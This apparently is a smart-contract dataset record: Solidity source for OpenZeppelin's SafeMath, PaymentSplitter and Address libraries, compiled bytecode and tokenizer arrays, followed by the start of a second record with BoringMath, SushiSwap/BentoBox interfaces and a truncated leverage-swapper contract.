library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Address.sol"; import "../utils/Context.sol"; import "../utils/math/SafeMath.sol"; /** * @title PaymentSplitter * @dev This contract allows to split Ether payments among a group of accounts. The sender does not need to be aware * that the Ether will be split in this way, since it is handled transparently by the contract. * * The split can be in equal parts or in any other arbitrary proportion. The way this is specified is by assigning each * account to a number of shares. Of all the Ether that this contract receives, each account will then be able to claim * an amount proportional to the percentage of total shares they were assigned. * * `PaymentSplitter` follows a _pull payment_ model. This means that payments are not automatically forwarded to the * accounts but kept in this contract, and the actual transfer is triggered as a separate step by calling the {release} * function. */ contract PaymentSplitter is Context { event PayeeAdded(address account, uint256 shares); event PaymentReleased(address to, uint256 amount); event PaymentReceived(address from, uint256 amount); uint256 private _totalShares; uint256 private _totalReleased; mapping(address => uint256) private _shares; mapping(address => uint256) private _released; address[] private _payees; /** * @dev Creates an instance of `PaymentSplitter` where each account in `payees` is assigned the number of shares at * the matching position in the `shares` array. * * All addresses in `payees` must be non-zero. Both arrays must have the same non-zero length, and there must be no * duplicates in `payees`. */ constructor(address[] memory payees, uint256[] memory shares_) payable { require(payees.length == shares_.length, "PaymentSplitter: payees and shares length mismatch"); require(payees.length > 0, "PaymentSplitter: no payees"); for (uint256 i = 0; i < payees.length; i++) { _addPayee(payees[i], shares_[i]); } } /** * @dev The Ether received will be logged with {PaymentReceived} events. Note that these events are not fully * reliable: it's possible for a contract to receive Ether without triggering this function. This only affects the * reliability of the events, and not the actual splitting of Ether. * * To learn more about this see the Solidity documentation for * https://solidity.readthedocs.io/en/latest/contracts.html#fallback-function[fallback * functions]. */ receive() external payable virtual { emit PaymentReceived(_msgSender(), msg.value); } /** * @dev Getter for the total shares held by payees. */ function totalShares() public view returns (uint256) { return _totalShares; } /** * @dev Getter for the total amount of Ether already released. */ function totalReleased() public view returns (uint256) { return _totalReleased; } /** * @dev Getter for the amount of shares held by an account. */ function shares(address account) public view returns (uint256) { return _shares[account]; } /** * @dev Getter for the amount of Ether already released to a payee. */ function released(address account) public view returns (uint256) { return _released[account]; } /** * @dev Getter for the address of the payee number `index`. */ function payee(uint256 index) public view returns (address) { return _payees[index]; } /** * @dev Triggers a transfer to `account` of the amount of Ether they are owed, according to their percentage of the * total shares and their previous withdrawals. */ function release(address payable account) public virtual { require(_shares[account] > 0, "PaymentSplitter: account has no shares"); uint256 totalReceived = address(this).balance + _totalReleased; uint256 payment = (totalReceived * _shares[account]) / _totalShares - _released[account]; require(payment != 0, "PaymentSplitter: account is not due payment"); _released[account] = _released[account] + payment; _totalReleased = _totalReleased + payment; Address.sendValue(account, payment); emit PaymentReleased(account, payment); } /** * @dev Add a new payee to the contract. * @param account The address of the payee to add. * @param shares_ The number of shares owned by the payee. */ function _addPayee(address account, uint256 shares_) private { require(account != address(0), "PaymentSplitter: account is the zero address"); require(shares_ > 0, "PaymentSplitter: shares are 0"); require(_shares[account] == 0, "PaymentSplitter: account already has shares"); _payees.push(account); _shares[account] = shares_; _totalShares = _totalShares + shares_; emit PayeeAdded(account, shares_); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
0x6080604052600436106100a05760003560e01c80638da5cb5b116100645780638da5cb5b146101965780639852595c146101b4578063ce7c2ac2146101ea578063e33b7de314610220578063f2fde38b14610235578063f6c757ec1461025557600080fd5b806319165587146100ee5780633a98ef3914610110578063715018a614610134578063853828b6146101495780638b83209b1461015e57600080fd5b366100e9577f6ef95f06320e7a25a04a175ca677b7052bdd97131872c2192525a629f51be77033604080516001600160a01b0390921682523460208301520160405180910390a1005b600080fd5b3480156100fa57600080fd5b5061010e610109366004610770565b61025d565b005b34801561011c57600080fd5b506000545b6040519081526020015b60405180910390f35b34801561014057600080fd5b5061010e610432565b34801561015557600080fd5b5061010e610468565b34801561016a57600080fd5b5061017e610179366004610794565b6104ea565b6040516001600160a01b03909116815260200161012b565b3480156101a257600080fd5b506005546001600160a01b031661017e565b3480156101c057600080fd5b506101216101cf366004610770565b6001600160a01b031660009081526003602052604090205490565b3480156101f657600080fd5b50610121610205366004610770565b6001600160a01b031660009081526002602052604090205490565b34801561022c57600080fd5b50600154610121565b34801561024157600080fd5b5061010e610250366004610770565b61051a565b61010e6105b2565b6001600160a01b0381166000908152600260205260409020546102d65760405162461bcd60e51b815260206004820152602660248201527f5061796d656e7453706c69747465723a206163636f756e7420686173206e6f2060448201526573686172657360d01b60648201526084015b60405180910390fd5b6000600154476102e691906107e2565b6001600160a01b0383166000908152600360209081526040808320548354600290935290832054939450919261031c908561081c565b61032691906107fa565b610330919061083b565b9050806103935760405162461bcd60e51b815260206004820152602b60248201527f5061796d656e7453706c69747465723a206163636f756e74206973206e6f742060448201526a191d59481c185e5b595b9d60aa1b60648201526084016102cd565b6001600160a01b0383166000908152600360205260409020546103b79082906107e2565b6001600160a01b0384166000908152600360205260409020556001546103de9082906107e2565b6001556103eb8382610600565b604080516001600160a01b0385168152602081018390527fdf20fd1e76bc69d672e4814fafb2c449bba3a5369d8359adf9e05e6fde87b056910160405180910390a1505050565b6005546001600160a01b0316331461045c5760405162461bcd60e51b81526004016102cd906107ad565b610466600061071e565b565b6005546001600160a01b031633146104925760405162461bcd60e51b81526004016102cd906107ad565b60005b6006548110156104e7576000600682815481106104b4576104b4610883565b6000918252602090912001546001600160a01b031690506104d48161025d565b50806104df81610852565b915050610495565b50565b6000600482815481106104ff576104ff610883565b6000918252602090912001546001600160a01b031692915050565b6005546001600160a01b031633146105445760405162461bcd60e51b81526004016102cd906107ad565b6001600160a01b0381166105a95760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016102cd565b6104e78161071e565b6005546001600160a01b031633146105dc5760405162461bcd60e51b81526004016102cd906107ad565b60405133904780156108fc02916000818181858888f1935050505061046657600080fd5b804710156106505760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e636500000060448201526064016102cd565b6000826001600160a01b03168260405160006040518083038185875af1925050503d806000811461069d576040519150601f19603f3d011682016040523d82523d6000602084013e6106a2565b606091505b50509050806107195760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d6179206861766520726576657274656400000000000060648201526084016102cd565b505050565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b60006020828403121561078257600080fd5b813561078d81610899565b9392505050565b6000602082840312156107a657600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600082198211156107f5576107f561086d565b500190565b60008261081757634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156108365761083661086d565b500290565b60008282101561084d5761084d61086d565b500390565b60006000198214156108665761086661086d565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b03811681146104e757600080fdfea264697066735822122018e682af535ef575a30270742257ead2c1a8af8b1a8752bd1e4a56565993d90b64736f6c63430008060033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 19841, 19317, 10732, 16409, 22907, 2683, 14141, 2575, 24434, 2850, 16048, 8270, 2575, 2509, 2063, 2575, 2278, 11329, 2549, 5243, 2629, 10322, 2546, 2487, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 1048, 21600, 2140, 1011, 1017, 1012, 1014, 1011, 2030, 1011, 2101, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 3229, 1013, 2219, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 8785, 1013, 3647, 18900, 2232, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 5446, 1013, 10504, 24759, 27100, 2099, 1012, 14017, 1000, 1025, 3206, 4315, 7685, 13102, 15909, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,573
0x9702b517acc393e95724a8143fb502052fed9d4d
// SPDX-License-Identifier: MIXED // File @boringcrypto/boring-solidity/contracts/libraries/BoringMath.sol@v1.2.2 // License-Identifier: MIT pragma solidity 0.6.12; /// @notice A library for performing overflow-/underflow-safe math, /// updated with awesomeness from of DappHub (https://github.com/dapphub/ds-math). library BoringMath { function add(uint256 a, uint256 b) internal pure returns (uint256 c) { require((c = a + b) >= b, "BoringMath: Add Overflow"); } function sub(uint256 a, uint256 b) internal pure returns (uint256 c) { require((c = a - b) <= a, "BoringMath: Underflow"); } function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { require(b == 0 || (c = a * b) / b == a, "BoringMath: Mul Overflow"); } function to128(uint256 a) internal pure returns (uint128 c) { require(a <= uint128(-1), "BoringMath: uint128 Overflow"); c = uint128(a); } function to64(uint256 a) internal pure returns (uint64 c) { require(a <= uint64(-1), "BoringMath: uint64 Overflow"); c = uint64(a); } function to32(uint256 a) internal pure returns (uint32 c) { require(a <= uint32(-1), "BoringMath: uint32 Overflow"); c = uint32(a); } } /// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint128. library BoringMath128 { function add(uint128 a, uint128 b) internal pure returns (uint128 c) { require((c = a + b) >= b, "BoringMath: Add Overflow"); } function sub(uint128 a, uint128 b) internal pure returns (uint128 c) { require((c = a - b) <= a, "BoringMath: Underflow"); } } /// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint64. library BoringMath64 { function add(uint64 a, uint64 b) internal pure returns (uint64 c) { require((c = a + b) >= b, "BoringMath: Add Overflow"); } function sub(uint64 a, uint64 b) internal pure returns (uint64 c) { require((c = a - b) <= a, "BoringMath: Underflow"); } } /// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint32. library BoringMath32 { function add(uint32 a, uint32 b) internal pure returns (uint32 c) { require((c = a + b) >= b, "BoringMath: Add Overflow"); } function sub(uint32 a, uint32 b) internal pure returns (uint32 c) { require((c = a - b) <= a, "BoringMath: Underflow"); } } // File @sushiswap/core/contracts/uniswapv2/interfaces/IUniswapV2Factory.sol@v1.4.2 // License-Identifier: GPL-3.0 pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function migrator() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; function setMigrator(address) external; } // File @sushiswap/core/contracts/uniswapv2/interfaces/IUniswapV2Pair.sol@v1.4.2 // License-Identifier: GPL-3.0 pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // File @boringcrypto/boring-solidity/contracts/interfaces/IERC20.sol@v1.2.2 // License-Identifier: MIT pragma solidity 0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); /// @notice EIP 2612 function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; } // File @boringcrypto/boring-solidity/contracts/libraries/BoringRebase.sol@v1.2.2 // License-Identifier: MIT pragma solidity 0.6.12; struct Rebase { uint128 elastic; uint128 base; } /// @notice A rebasing library using overflow-/underflow-safe math. library RebaseLibrary { using BoringMath for uint256; using BoringMath128 for uint128; /// @notice Calculates the base value in relationship to `elastic` and `total`. function toBase( Rebase memory total, uint256 elastic, bool roundUp ) internal pure returns (uint256 base) { if (total.elastic == 0) { base = elastic; } else { base = elastic.mul(total.base) / total.elastic; if (roundUp && base.mul(total.elastic) / total.base < elastic) { base = base.add(1); } } } /// @notice Calculates the elastic value in relationship to `base` and `total`. function toElastic( Rebase memory total, uint256 base, bool roundUp ) internal pure returns (uint256 elastic) { if (total.base == 0) { elastic = base; } else { elastic = base.mul(total.elastic) / total.base; if (roundUp && elastic.mul(total.base) / total.elastic < base) { elastic = elastic.add(1); } } } /// @notice Add `elastic` to `total` and doubles `total.base`. /// @return (Rebase) The new total. /// @return base in relationship to `elastic`. function add( Rebase memory total, uint256 elastic, bool roundUp ) internal pure returns (Rebase memory, uint256 base) { base = toBase(total, elastic, roundUp); total.elastic = total.elastic.add(elastic.to128()); total.base = total.base.add(base.to128()); return (total, base); } /// @notice Sub `base` from `total` and update `total.elastic`. /// @return (Rebase) The new total. /// @return elastic in relationship to `base`. function sub( Rebase memory total, uint256 base, bool roundUp ) internal pure returns (Rebase memory, uint256 elastic) { elastic = toElastic(total, base, roundUp); total.elastic = total.elastic.sub(elastic.to128()); total.base = total.base.sub(base.to128()); return (total, elastic); } /// @notice Add `elastic` and `base` to `total`. function add( Rebase memory total, uint256 elastic, uint256 base ) internal pure returns (Rebase memory) { total.elastic = total.elastic.add(elastic.to128()); total.base = total.base.add(base.to128()); return total; } /// @notice Subtract `elastic` and `base` to `total`. function sub( Rebase memory total, uint256 elastic, uint256 base ) internal pure returns (Rebase memory) { total.elastic = total.elastic.sub(elastic.to128()); total.base = total.base.sub(base.to128()); return total; } /// @notice Add `elastic` to `total` and update storage. /// @return newElastic Returns updated `elastic`. function addElastic(Rebase storage total, uint256 elastic) internal returns (uint256 newElastic) { newElastic = total.elastic = total.elastic.add(elastic.to128()); } /// @notice Subtract `elastic` from `total` and update storage. /// @return newElastic Returns updated `elastic`. function subElastic(Rebase storage total, uint256 elastic) internal returns (uint256 newElastic) { newElastic = total.elastic = total.elastic.sub(elastic.to128()); } } // File @sushiswap/bentobox-sdk/contracts/IBatchFlashBorrower.sol@v1.0.2 // License-Identifier: MIT pragma solidity 0.6.12; interface IBatchFlashBorrower { function onBatchFlashLoan( address sender, IERC20[] calldata tokens, uint256[] calldata amounts, uint256[] calldata fees, bytes calldata data ) external; } // File @sushiswap/bentobox-sdk/contracts/IFlashBorrower.sol@v1.0.2 // License-Identifier: MIT pragma solidity 0.6.12; interface IFlashBorrower { function onFlashLoan( address sender, IERC20 token, uint256 amount, uint256 fee, bytes calldata data ) external; } // File @sushiswap/bentobox-sdk/contracts/IStrategy.sol@v1.0.2 // License-Identifier: MIT pragma solidity 0.6.12; interface IStrategy { // Send the assets to the Strategy and call skim to invest them function skim(uint256 amount) external; // Harvest any profits made converted to the asset and pass them to the caller function harvest(uint256 balance, address sender) external returns (int256 amountAdded); // Withdraw assets. The returned amount can differ from the requested amount due to rounding. // The actualAmount should be very close to the amount. The difference should NOT be used to report a loss. That's what harvest is for. function withdraw(uint256 amount) external returns (uint256 actualAmount); // Withdraw all assets in the safest way possible. This shouldn't fail. function exit(uint256 balance) external returns (int256 amountAdded); } // File @sushiswap/bentobox-sdk/contracts/IBentoBoxV1.sol@v1.0.2 // License-Identifier: MIT pragma solidity 0.6.12; pragma experimental ABIEncoderV2; interface IBentoBoxV1 { event LogDeploy(address indexed masterContract, bytes data, address indexed cloneAddress); event LogDeposit(address indexed token, address indexed from, address indexed to, uint256 amount, uint256 share); event LogFlashLoan(address indexed borrower, address indexed token, uint256 amount, uint256 feeAmount, address indexed receiver); event LogRegisterProtocol(address indexed protocol); event LogSetMasterContractApproval(address indexed masterContract, address indexed user, bool approved); event LogStrategyDivest(address indexed token, uint256 amount); event LogStrategyInvest(address indexed token, uint256 amount); event LogStrategyLoss(address indexed token, uint256 amount); event LogStrategyProfit(address indexed token, uint256 amount); event LogStrategyQueued(address indexed token, address indexed strategy); event LogStrategySet(address indexed token, address indexed strategy); event LogStrategyTargetPercentage(address indexed token, uint256 targetPercentage); event LogTransfer(address indexed token, address indexed from, address indexed to, uint256 share); event LogWhiteListMasterContract(address indexed masterContract, bool approved); event LogWithdraw(address indexed token, address indexed from, address indexed to, uint256 amount, uint256 share); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function balanceOf(IERC20, address) external view returns (uint256); function batch(bytes[] calldata calls, bool revertOnFail) external payable returns (bool[] memory successes, bytes[] memory results); function batchFlashLoan(IBatchFlashBorrower borrower, address[] calldata receivers, IERC20[] calldata tokens, uint256[] calldata amounts, bytes calldata data) external; function claimOwnership() external; function deploy(address masterContract, bytes calldata data, bool useCreate2) external payable; function deposit(IERC20 token_, address from, address to, uint256 amount, uint256 share) external payable returns (uint256 amountOut, uint256 shareOut); function flashLoan(IFlashBorrower borrower, address receiver, IERC20 token, uint256 amount, bytes calldata data) external; function harvest(IERC20 token, bool balance, uint256 maxChangeAmount) external; function masterContractApproved(address, address) external view returns (bool); function masterContractOf(address) external view returns (address); function nonces(address) external view returns (uint256); function owner() external view returns (address); function pendingOwner() external view returns (address); function pendingStrategy(IERC20) external view returns (IStrategy); function permitToken(IERC20 token, address from, address to, uint256 amount, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external; function registerProtocol() external; function setMasterContractApproval(address user, address masterContract, bool approved, uint8 v, bytes32 r, bytes32 s) external; function setStrategy(IERC20 token, IStrategy newStrategy) external; function setStrategyTargetPercentage(IERC20 token, uint64 targetPercentage_) external; function strategy(IERC20) external view returns (IStrategy); function strategyData(IERC20) external view returns (uint64 strategyStartDate, uint64 targetPercentage, uint128 balance); function toAmount(IERC20 token, uint256 share, bool roundUp) external view returns (uint256 amount); function toShare(IERC20 token, uint256 amount, bool roundUp) external view returns (uint256 share); function totals(IERC20) external view returns (Rebase memory totals_); function transfer(IERC20 token, address from, address to, uint256 share) external; function transferMultiple(IERC20 token, address from, address[] calldata tos, uint256[] calldata shares) external; function transferOwnership(address newOwner, bool direct, bool renounce) external; function whitelistMasterContract(address masterContract, bool approved) external; function whitelistedMasterContracts(address) external view returns (bool); function withdraw(IERC20 token_, address from, address to, uint256 amount, uint256 share) external returns (uint256 amountOut, uint256 shareOut); } // File contracts/swappers/Leverage/YVWETHLevSwapper.sol // License-Identifier: MIT pragma solidity 0.6.12; interface CurvePool { function exchange_underlying(int128 i, int128 j, uint256 dx, uint256 min_dy, address receiver) external returns (uint256); } interface YearnVault { function withdraw() external returns (uint256); function deposit(uint256 amount, address recipient) external returns (uint256); } interface TetherToken { function approve(address _spender, uint256 _value) external; } contract YVWETHLevSwapper{ using BoringMath for uint256; // Local variables IBentoBoxV1 public immutable bentoBox; CurvePool public constant MIM3POOL = 